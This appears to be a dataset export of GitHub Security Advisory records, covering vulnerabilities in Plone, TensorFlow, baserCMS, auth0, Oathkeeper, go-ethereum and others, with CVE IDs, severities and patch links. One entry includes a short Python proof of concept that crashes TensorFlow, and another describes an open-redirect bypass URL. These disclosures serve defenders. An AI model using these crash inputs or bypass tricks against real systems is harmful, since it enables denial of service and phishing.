GHSA | GHSA-q3m9-9fj2-mfwr | URL Redirection to Untrusted Site ('Open Redirect') in Products.isurlinportal | ### Impact
Various parts of Plone use the 'is url in portal' check for security, mostly to see if it is safe to redirect to a url. A url like `https://example.org` is not in the portal.
But the url `https:example.org` without slashes tricks our code and it _is_ considered to be in the portal.
When redirecting, some browsers go to `https://example.org`, others give an error.
Attackers may use this to redirect you to their site, especially as part of a phishing attack.
### Patches
The problem has been patched in `Products.isurlinportal` 1.2.0.
This is a recommended upgrade for all users of Plone 4.3 and 5, on Python 2.7 or higher.
It has not been tested on earlier Plone or Python versions.
Upcoming Plone 5.2.5 and higher will include the new version.
### Discovered
This vulnerability was discovered and reported by Yuji Tounai of Mitsui Bussan Secure Directions, Inc. Thank you!
### For more information
If you have any questions or comments about this advisory:
* Email the Plone Security Team at [security@plone.org](mailto:security@plone.org), especially when you think you have discovered a security problem or when you are not sure.
* Open an issue in [the tracker](https://github.com/plone/Products.isurlinportal/issues) if your question or comment can be public.
| {'CVE-2021-32806'} | 2021-08-30T23:21:08Z | 2021-08-05T17:02:12Z | MODERATE | 6.5 | {'CWE-601'} | {'https://github.com/plone/Products.isurlinportal/commit/d4fd34990d18adf05a10dc5e2bb4b066798280ba', 'http://jvn.jp/en/jp/JVN50804280/index.html', 'https://github.com/plone/Products.isurlinportal/security/advisories/GHSA-q3m9-9fj2-mfwr', 'https://github.com/advisories/GHSA-q3m9-9fj2-mfwr', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32806'} | null | {'https://github.com/plone/Products.isurlinportal/commit/d4fd34990d18adf05a10dc5e2bb4b066798280ba'} | {'https://github.com/plone/Products.isurlinportal/commit/d4fd34990d18adf05a10dc5e2bb4b066798280ba'} |
GHSA | GHSA-v9w8-hq92-v39m | Cross-site Scripting (XSS) in baserCMS | Improper neutralization of JavaScript input in the blog article editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors. | {'CVE-2021-20683'} | 2021-06-08T20:10:45Z | 2021-06-08T20:10:45Z | MODERATE | 5.4 | {'CWE-79'} | {'https://basercms.net/security/JVN64869876', 'https://github.com/advisories/GHSA-v9w8-hq92-v39m', 'https://github.com/baserproject/basercms/commit/88ccc61e5656b05dd13204d61de706efaa2cd0b1', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20683', 'https://jvn.jp/en/jp/JVN64869876/index.html', 'https://packagist.org/packages/baserproject/basercms', 'https://github.com/baserproject/basercms'} | null | {'https://github.com/baserproject/basercms/commit/88ccc61e5656b05dd13204d61de706efaa2cd0b1'} | {'https://github.com/baserproject/basercms/commit/88ccc61e5656b05dd13204d61de706efaa2cd0b1'} |
GHSA | GHSA-86wf-436m-h424 | Resource Exhaustion Denial of Service in http-proxy-agent | A flaw was found in http-proxy-agent, prior to version 2.1.0. It was discovered http-proxy-agent passes an auth option to the Buffer constructor without proper sanitization. This could result in a Denial of Service through the usage of all available CPU resources and data exposure through an uninitialized memory leak in setups where an attacker could submit typed input to the auth parameter. | {'CVE-2019-10196'} | 2022-01-06T20:30:13Z | 2022-01-06T20:30:13Z | MODERATE | 9.8 | {'CWE-665'} | {'https://www.npmjs.com/advisories/607', 'https://github.com/TooTallNate/node-http-proxy-agent/commit/b7b7cc793c3226aa83f820ce5c277e81862d32eb', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10196', 'https://bugzilla.redhat.com/show_bug.cgi?id=1567245', 'https://github.com/advisories/GHSA-86wf-436m-h424'} | null | {'https://github.com/TooTallNate/node-http-proxy-agent/commit/b7b7cc793c3226aa83f820ce5c277e81862d32eb'} | {'https://github.com/TooTallNate/node-http-proxy-agent/commit/b7b7cc793c3226aa83f820ce5c277e81862d32eb'} |
GHSA | GHSA-gmq2-39ff-f5qg | A failed upgrade may lead to hung goroutines | ### Impact
Processes using tableflip may encounter hung goroutines in the parent process, after a failed upgrade.
The Go runtime has annoying behaviour around setting and clearing
O_NONBLOCK: exec.Cmd.Start() ends up calling os.File.Fd() for any
file in exec.Cmd.ExtraFiles. os.File.Fd() disables both the use
of the runtime poller for the file and clears O_NONBLOCK from
the underlying open file descriptor.
This can lead to goroutines hanging in a parent process, after at least
one failed upgrade. The bug manifests in goroutines which rely on
either a deadline or interruption via Close() to be unblocked being stuck
in read or accept like syscalls. As far as I can tell we've not experienced
this problem in production, so it's most likely quite rare.
### Patches
The problem has been fixed in v1.2.2.
### Workarounds
None.
### References
* https://github.com/cloudflare/tableflip/commit/cae714b289e199db5da5f08af861ea65be6232c0 | null | 2021-05-21T16:25:48Z | 2021-05-21T16:25:48Z | LOW | 0 | null | {'https://github.com/advisories/GHSA-gmq2-39ff-f5qg', 'https://github.com/cloudflare/tableflip/security/advisories/GHSA-gmq2-39ff-f5qg', 'https://github.com/cloudflare/tableflip/commit/cae714b289e199db5da5f08af861ea65be6232c0'} | null | {'https://github.com/cloudflare/tableflip/commit/cae714b289e199db5da5f08af861ea65be6232c0'} | {'https://github.com/cloudflare/tableflip/commit/cae714b289e199db5da5f08af861ea65be6232c0'} |
GHSA | GHSA-2mqv-4j3r-vjvp | Open redirect in @auth0/nextjs-auth0 | ### Overview
Versions `<=1.6.1` do not filter out certain `returnTo` parameter values from the login url, which expose the application to an open redirect vulnerability.
### Am I affected?
You are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `<=1.6.1`.
### How to fix that?
Upgrade to version `>=1.6.2`
### Will this update impact my users?
The fix provided in the patch will not affect your users.
| {'CVE-2021-43812'} | 2021-12-17T19:11:45Z | 2021-12-16T18:52:21Z | MODERATE | 6.4 | {'CWE-601'} | {'https://github.com/auth0/nextjs-auth0/commit/0bbd9f8a0c93af51f607f28633b5fb18c5e48ad6', 'https://github.com/advisories/GHSA-2mqv-4j3r-vjvp', 'https://github.com/auth0/nextjs-auth0/security/advisories/GHSA-2mqv-4j3r-vjvp', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43812'} | null | {'https://github.com/auth0/nextjs-auth0/commit/0bbd9f8a0c93af51f607f28633b5fb18c5e48ad6'} | {'https://github.com/auth0/nextjs-auth0/commit/0bbd9f8a0c93af51f607f28633b5fb18c5e48ad6'} |
GHSA | GHSA-cvw2-xj8r-mjf7 | Activerecord-session_store Timing Attack | The `activerecord-session_store` (aka Active Record Session Store) component through 1.1.3 for Ruby on Rails does not use a constant-time approach when delivering information about whether a guessed session ID is valid. Consequently, remote attackers can leverage timing discrepancies to achieve a correct guess in a relatively short amount of time. This is a related issue to CVE-2019-16782.
## Recommendation
This has been fixed in version 2.0.0. All users are advised to update to this version or later. | {'CVE-2019-25025'} | 2021-03-24T17:32:13Z | 2021-03-09T00:45:31Z | MODERATE | 0 | {'CWE-208'} | {'https://rubygems.org/gems/activerecord-session_store', 'https://github.com/advisories/GHSA-cvw2-xj8r-mjf7', 'https://github.com/rails/activerecord-session_store/releases/tag/v2.0.0', 'https://github.com/rubysec/ruby-advisory-db/blob/master/activerecord-session_store/CVE-2019-25025.yml', 'https://github.com/rails/activerecord-session_store/commit/9d4dd113d3010b82daaadf0b0ee6b9fb2afb2160', 'https://nvd.nist.gov/vuln/detail/CVE-2019-25025', 'https://github.com/rails/activerecord-session_store/pull/151'} | null | {'https://github.com/rails/activerecord-session_store/commit/9d4dd113d3010b82daaadf0b0ee6b9fb2afb2160'} | {'https://github.com/rails/activerecord-session_store/commit/9d4dd113d3010b82daaadf0b0ee6b9fb2afb2160'} |
GHSA | GHSA-87v6-crgm-2gfj | Division by zero in Tensorflow | ### Impact
The [implementation of `FractionalMaxPool`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192) can be made to crash a TensorFlow process via a division by 0:
```python
import tensorflow as tf
import numpy as np
tf.raw_ops.FractionalMaxPool(
value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),
pooling_ratio=[1.0, 1.44, 1.73, 1.0],
pseudo_random=False,
overlapping=False,
deterministic=False,
seed=0,
seed2=0,
name=None)
```
### Patches
We have patched the issue in GitHub commit [ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb](https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia. | {'CVE-2022-21735'} | 2022-02-11T16:23:19Z | 2022-02-10T00:21:32Z | MODERATE | 6.5 | {'CWE-369'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-21735', 'https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192', 'https://github.com/advisories/GHSA-87v6-crgm-2gfj', 'https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-87v6-crgm-2gfj'} | null | {'https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb'} | {'https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb'} |
GHSA | GHSA-vfvf-6gx5-mqv6 | Incorrect Authorization in ORY Oathkeeper | ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid. A patch will be released with `v0.38.12-beta.1`. Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist. The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes. The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process. | {'CVE-2021-32701'} | 2021-06-24T20:16:02Z | 2021-06-24T20:16:02Z | HIGH | 7.5 | {'CWE-863'} | {'https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932', 'https://github.com/ory/oathkeeper/security/advisories/GHSA-qvp4-rpmr-xwrr', 'https://github.com/advisories/GHSA-vfvf-6gx5-mqv6', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32701', 'https://github.com/ory/oathkeeper/pull/424'} | null | {'https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932'} | {'https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932'} |
GHSA | GHSA-f6px-w8rh-7r89 | Data race in Beego | The File Session Manager in Beego 1.10.0 allows local users to read session files because there is a race condition involving file creation within a directory with weak permissions. | {'CVE-2019-16354'} | 2021-08-02T17:15:05Z | 2021-08-02T17:15:05Z | MODERATE | 4.7 | {'CWE-362', 'CWE-732'} | {'https://github.com/astaxie/beego/blob/develop/session/sess_file.go#L141', 'https://github.com/beego/beego/issues/3763', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16354', 'https://github.com/beego/beego/pull/3975/commits/f99cbe0fa40936f2f8dd28e70620c559b6e5e2fd', 'https://github.com/astaxie/beego/issues/3763', 'https://github.com/advisories/GHSA-f6px-w8rh-7r89'} | null | {'https://github.com/beego/beego/pull/3975/commits/f99cbe0fa40936f2f8dd28e70620c559b6e5e2fd'} | {'https://github.com/beego/beego/pull/3975/commits/f99cbe0fa40936f2f8dd28e70620c559b6e5e2fd'} |
GHSA | GHSA-pxqr-8v54-m2hj | Moderate severity vulnerability that affects rails_admin | rails_admin ruby gem <v1.1.1 is vulnerable to cross-site request forgery (CSRF) attacks. Non-GET methods were not validating CSRF tokens and, as a result, an attacker could hypothetically gain access to the application administrative endpoints exposed by the gem. | {'CVE-2016-10522'} | 2021-01-08T18:19:29Z | 2018-08-08T22:30:35Z | MODERATE | 0 | {'CWE-352'} | {'https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a', 'https://www.sourceclear.com/registry/security/cross-site-request-forgery-csrf-/ruby/sid-3173', 'https://nvd.nist.gov/vuln/detail/CVE-2016-10522', 'https://www.sourceclear.com/blog/Rails_admin-Vulnerability-Disclosure/', 'https://github.com/advisories/GHSA-pxqr-8v54-m2hj'} | null | {'https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a'} | {'https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a'} |
GHSA | GHSA-7r96-8g3x-g36m | Improper Verification of Cryptographic Signature | ### Impact
The `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature of a SHA-512 hash matching the SHA-512 hash of the message even if the signature is invalid.
### Patches
Upgrade to `v7.0.3` immediately to resolve this issue. Since the vulnerability lies within the verification method, the previous signatures are still valid. We highly recommend reverifying any signatures that were previously verified with the vulnerable `verifyWithMessage` method.
### Workarounds
In `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`. For example, the return statement should start with `return this.verify(signed, password).verified && ` instead of `return this.verify(signed, password) && `.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [github.com/TogaTech/tEnvoy](https://github.com/TogaTech/tEnvoy)
| null | 2022-01-04T19:36:52Z | 2021-06-28T17:16:56Z | CRITICAL | 9.8 | {'CWE-347'} | {'https://github.com/TogaTech/tEnvoy/security/advisories/GHSA-7r96-8g3x-g36m', 'https://github.com/TogaTech/tEnvoy/commit/a121b34a45e289d775c62e58841522891dee686b', 'https://github.com/advisories/GHSA-7r96-8g3x-g36m'} | null | {'https://github.com/TogaTech/tEnvoy/commit/a121b34a45e289d775c62e58841522891dee686b'} | {'https://github.com/TogaTech/tEnvoy/commit/a121b34a45e289d775c62e58841522891dee686b'} |
GHSA | GHSA-rhrq-64mq-hf9h | FPE in TFLite division operations | ### Impact
The implementation of division in TFLite is [vulnerable to a division by 0 error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc)
There is no check that the divisor tensor does not contain zero elements.
### Patches
We have patched the issue in GitHub commit [1e206baedf8bef0334cca3eb92bab134ef525a28](https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37683'} | 2021-08-25T14:40:16Z | 2021-08-25T14:40:16Z | MODERATE | 5.5 | {'CWE-369'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rhrq-64mq-hf9h', 'https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28', 'https://github.com/advisories/GHSA-rhrq-64mq-hf9h', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37683'} | null | {'https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28'} | {'https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28'} |
GHSA | GHSA-2wr2-8qjq-gh55 | Exposure of Resource to Wrong Sphere in org.craftercms:crafter-search | Installations, where crafter-search is not protected, allow unauthenticated remote attackers to create, view, and delete search indexes. | {'CVE-2021-23264'} | 2021-12-16T15:27:35Z | 2021-12-16T15:27:35Z | CRITICAL | 9.1 | {'CWE-402', 'CWE-668'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-23264', 'https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2021120107', 'https://github.com/craftercms/craftercms/commit/0e256ef0372c7be9d6e2fefc4652dd4fd94770a1', 'https://github.com/advisories/GHSA-2wr2-8qjq-gh55'} | null | {'https://github.com/craftercms/craftercms/commit/0e256ef0372c7be9d6e2fefc4652dd4fd94770a1'} | {'https://github.com/craftercms/craftercms/commit/0e256ef0372c7be9d6e2fefc4652dd4fd94770a1'} |
GHSA | GHSA-2hwp-g4g7-mwwj | Reflected Cross-Site Scripting in jquery.terminal | Versions of `jquery.terminal` prior to 1.21.0 are vulnerable to Reflected Cross-Site Scripting. If the application has either of the options `anyLinks` or `invokeMethods` set to true, the application may execute arbitrary JavaScript through crafted malicious payloads due to insufficient sanitization.
## Recommendation
Upgrade to version 1.21.0 or later | null | 2021-08-04T20:10:06Z | 2019-05-29T20:25:35Z | MODERATE | 0 | {'CWE-79'} | {'https://www.npmjs.com/advisories/769', 'https://github.com/jcubic/jquery.terminal/commit/c8b7727d21960031b62a4ef1ed52f3c634046211', 'https://github.com/advisories/GHSA-2hwp-g4g7-mwwj'} | null | {'https://github.com/jcubic/jquery.terminal/commit/c8b7727d21960031b62a4ef1ed52f3c634046211'} | {'https://github.com/jcubic/jquery.terminal/commit/c8b7727d21960031b62a4ef1ed52f3c634046211'} |
GHSA | GHSA-r33q-22hv-j29q | Denial of service in github.com/ethereum/go-ethereum | ### Impact
A DoS vulnerability can make a LES server crash via malicious `GetProofsV2` request from a connected LES client.
### Patches
The vulnerability was patched in https://github.com/ethereum/go-ethereum/pull/21896.
### Workarounds
This vulnerability only concerns users explicitly enabling `les` server; disabling `les` prevents the exploit.
It can also be patched by manually applying the patch in https://github.com/ethereum/go-ethereum/pull/21896.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)
* Email us at [security@ethereum.org](mailto:security@ethereum.org) | {'CVE-2020-26264'} | 2022-04-19T19:02:42Z | 2021-06-29T21:14:07Z | MODERATE | 6.5 | {'CWE-400'} | {'https://github.com/advisories/GHSA-r33q-22hv-j29q', 'https://github.com/ethereum/go-ethereum/security/advisories/GHSA-r33q-22hv-j29q', 'https://github.com/ethereum/go-ethereum/pull/21896', 'https://github.com/ethereum/go-ethereum/releases/tag/v1.9.25', 'https://github.com/ethereum/go-ethereum/commit/bddd103a9f0af27ef533f04e06ea429cf76b6d46', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26264'} | null | {'https://github.com/ethereum/go-ethereum/commit/bddd103a9f0af27ef533f04e06ea429cf76b6d46'} | {'https://github.com/ethereum/go-ethereum/commit/bddd103a9f0af27ef533f04e06ea429cf76b6d46'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.